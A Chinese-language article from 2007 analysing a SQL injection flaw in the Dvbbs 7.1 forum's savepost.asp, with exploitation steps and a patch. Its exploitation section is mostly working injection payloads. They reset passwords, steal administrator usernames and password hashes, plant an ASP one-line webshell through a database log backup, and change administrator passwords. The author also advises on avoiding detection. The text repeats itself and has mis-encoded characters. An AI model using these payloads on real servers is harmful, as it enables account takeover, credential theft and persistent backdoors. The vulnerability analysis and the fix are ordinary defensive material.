Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范
更新時間:2007年02月09日 00:00:00 作者:
一、概述
漏洞介紹:
前幾天就聽Hak_Ban說有人把dvbbs7的一個注入漏洞給發(fā)布出去了,一直也沒時間看看,下午跟Edward要了個鏈接看了看:
本站轉貼為:
看了看風塵浪子的分析,覺得已經(jīng)分析的挺明白的了,不過群里還是有幾個朋友搞不太明白,索性在本地搭環(huán)境測試一下漏洞,感謝keng提供程序,呵呵,實在懶得去網(wǎng)上找。
二、漏洞分析
既然是savepost.asp程序的問題,那就打開改文件,風塵浪子已經(jīng)提到是ToolsBuyUser參數(shù)過濾不足,那就看這個變量。
32行,定義變量:
111行,置空
120行,在參數(shù)GetPostType為0時,賦值
123行,在參數(shù)GetPostType為1時,賦值
139行,在參數(shù)GetPostType為2時,賦值
747行,定義sql
745行,執(zhí)行sql
我們看到,在整個獲得數(shù)據(jù)到提交的過程中,沒有對ToolsBuyUser參數(shù)進行安全過濾,導致了sql注入漏洞。
三、漏洞利用
1、注冊用戶coolersky
2、選擇發(fā)表新話題
3、在“選擇帖子類型”中選中“論壇交易帖設置”

4、在“可購買用戶名單限制:”中寫入
修改口令后,重新登陸論壇,若使用123456登陸成功,則說明該漏洞尚未修補。
5、獲得前臺管理員用戶名和口令,分別放在自定義頭像和簽名中,查看用戶coolersky的基本資料即可看到。
6、獲得后臺管理員用戶名和口令
7、通過日志查看后臺管理密碼
8、獲得數(shù)據(jù)庫名稱
9、日志差異備份webshell
或者
使用最小asp木馬客戶端連接即可!
10、直接修改管理員口令
通過5、6、7三個步驟可以獲得管理員前后臺的用戶名和密碼,至少密碼是16位md5,我們可以通過網(wǎng)絡查詢或者暴力破解獲得管理員口令來登錄前后臺,但是也很可能沒辦法破解出口令。
而如果也無法獲得論壇的物理路徑,那么只好通過修改管理員口令來實現(xiàn)了,當然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
(1)獲得前臺管理員用戶名:
(2)修改前臺管理員口令:
(3)獲得后臺管理員用戶名:
(4)修改后臺管理員口令:
(5)登錄前臺上傳mdb構造過的asp一句話后門,后臺back為asp或asa文件即可,如何操作不在本文描述過程中。
通過以上操作,只要服務器支持多語句,那么我們還可以對數(shù)據(jù)庫進行更多操作。
四、漏洞修補
1、從dvbbs下載最新補丁
2、打開savepost.asp文件,將747行
修改為:
即用dvbbs.checkstr函數(shù)過濾ToolsBuyUser內容。
漏洞介紹:
| http://coolersky.com/leak/programme/bbs/2006/0515/515.html |
| http://www.eviloctal.com/forum/read.php?tid=22074 |
| http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html |
二、漏洞分析
既然是savepost.asp程序的問題,那就打開改文件,風塵浪子已經(jīng)提到是ToolsBuyUser參數(shù)過濾不足,那就看這個變量。
32行,定義變量:
| Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting |
| ToolsBuyUser = "" |
| ToolsBuyUser = "0|||$SendMoney" |
| ToolsBuyUser = "0|||$GetMoney" |
| ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" |
| SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
| Dvbbs.Execute(sql) |
三、漏洞利用
1、注冊用戶coolersky
2、選擇發(fā)表新話題
3、在“選擇帖子類型”中選中“論壇交易帖設置”

4、在“可購買用戶名單限制:”中寫入
| '將自身用戶口令修改為123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';-- |
5、獲得前臺管理員用戶名和口令,分別放在自定義頭像和簽名中,查看用戶coolersky的基本資料即可看到。
| coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員'),usersign=(select top 1 userpassword from dv_user where userclass='管理員') where username='coolersky';-- |
| coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';-- |
| coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';-- |
| coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';-- |
| '替換dbname為上一步獲得的數(shù)據(jù)庫名稱,日志差異備份要db_owner權限! '替換d:\web\dvbbs7\為當前論壇物理路徑,怎么獲得別來問我! coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
| coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
10、直接修改管理員口令
通過5、6、7三個步驟可以獲得管理員前后臺的用戶名和密碼,至少密碼是16位md5,我們可以通過網(wǎng)絡查詢或者暴力破解獲得管理員口令來登錄前后臺,但是也很可能沒辦法破解出口令。
而如果也無法獲得論壇的物理路徑,那么只好通過修改管理員口令來實現(xiàn)了,當然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
(1)獲得前臺管理員用戶名:
| coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員')where username='test';-- |
| '假設我們獲得前臺管理員用戶名為admin,修改密碼為123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';-- |
| coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';-- |
| '假設我們獲得后臺管理員用戶名為admin,修改密碼為123456 coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';-- |
通過以上操作,只要服務器支持多語句,那么我們還可以對數(shù)據(jù)庫進行更多操作。
四、漏洞修補
1、從dvbbs下載最新補丁
| http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 |
| SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
| SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")" |
相關文章
淺談SQL SERVER數(shù)據(jù)庫口令的脆弱性
淺談SQL SERVER數(shù)據(jù)庫口令的脆弱性...2007-01-01

